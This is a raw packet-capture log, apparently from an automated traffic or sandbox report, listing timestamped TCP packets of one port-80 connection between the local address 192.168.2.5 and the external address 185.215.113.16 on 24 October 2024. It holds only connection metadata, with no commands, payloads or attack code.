Oct 24, 2024 08:38:13.011961937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.011975050 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012001991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012130022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012180090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012181044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012197018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012223959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012236118 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012273073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012288094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012303114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012315989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012331009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012335062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012346983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012355089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012362957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012377024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012387037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012398005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012412071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012423992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012435913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012447119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012451887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012491941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012494087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012510061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012525082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012538910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012545109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012559891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012571096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012600899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012676954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012691975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012708902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012725115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012725115 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012752056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012768030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012775898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012783051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012809992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012814045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012824059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012829065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012847900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012870073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012891054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012911081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012927055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012950897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012970924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.012975931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.012995005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013001919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013015985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013019085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013030052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013037920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013051987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013065100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013072968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013103008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013114929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013128042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013143063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013170958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013199091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013199091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013214111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013227940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.013237953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.013262987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.046525955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.046554089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.046570063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.046593904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.046616077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.051043034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051098108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051112890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051137924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051151991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051153898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.051167011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.051179886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.051188946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.051223040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066566944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066598892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066613913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066616058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066631079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066644907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066657066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066660881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066677094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066678047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066693068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.066695929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066715002 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.066730022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.108016014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108177900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108190060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108203888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.108210087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108222961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108234882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108247995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108257055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108263016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108269930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.108272076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.108422041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119381905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119468927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119492054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119504929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119518995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119533062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119545937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119558096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119558096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119573116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119581938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119587898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119632006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119798899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119820118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119832039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119843960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119846106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119889021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.119935036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119946957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.119986057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.120011091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.128915071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.128933907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.128945112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.128989935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129007101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129029989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129041910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129079103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129080057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129080057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129091024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129122019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129146099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129215002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129225969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129237890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129257917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129259109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129271984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129278898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129285097 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129297018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129311085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129317045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129322052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129333019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129333973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129352093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129355907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129362106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129373074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129374027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129384995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129412889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129439116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129440069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129477024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129488945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129499912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129535913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129550934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129563093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129573107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129585981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129594088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129600048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129611015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129612923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129626036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129636049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129667044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129748106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129770041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129781008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129791975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129806995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129823923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129856110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129877090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129916906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129920959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129930973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129942894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.129961967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.129981041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130059958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130072117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130091906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130101919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130106926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130131960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130156994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130327940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130398989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130409956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130410910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130434036 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130456924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130609989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130620956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130630970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.130656958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.130670071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.163325071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.163337946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.163348913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.163525105 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168015003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168037891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168047905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168067932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168098927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168116093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168128014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168139935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168155909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168157101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168168068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168179989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.168184996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168209076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.168226957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.191853046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.191867113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.191879034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.191890001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.191904068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.192102909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.192102909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.225084066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225121975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225133896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225155115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225167990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225269079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.225275040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225289106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225301027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225333929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.225342035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225354910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.225363970 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.225383043 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.225404978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236335039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236351013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236363888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236386061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236397982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236409903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236421108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236429930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236457109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236484051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236496925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236509085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236545086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236732960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236768007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236778975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236783981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236799955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236808062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236814022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236851931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236851931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236866951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236877918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236896992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236907005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236907959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236933947 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.236965895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.236977100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.237010956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.245866060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.245883942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.245956898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246090889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246140003 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246141911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246155977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246169090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246189117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246200085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246225119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246229887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246237993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246264935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246270895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246284008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246292114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246309042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246330976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246339083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246352911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246365070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246376991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246392012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246407986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246438026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246459007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246471882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246485949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246493101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246506929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246532917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.246542931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246555090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246567965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246579885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.246587038 CEST	60982	80	192.168.2.5	185.215.113.16
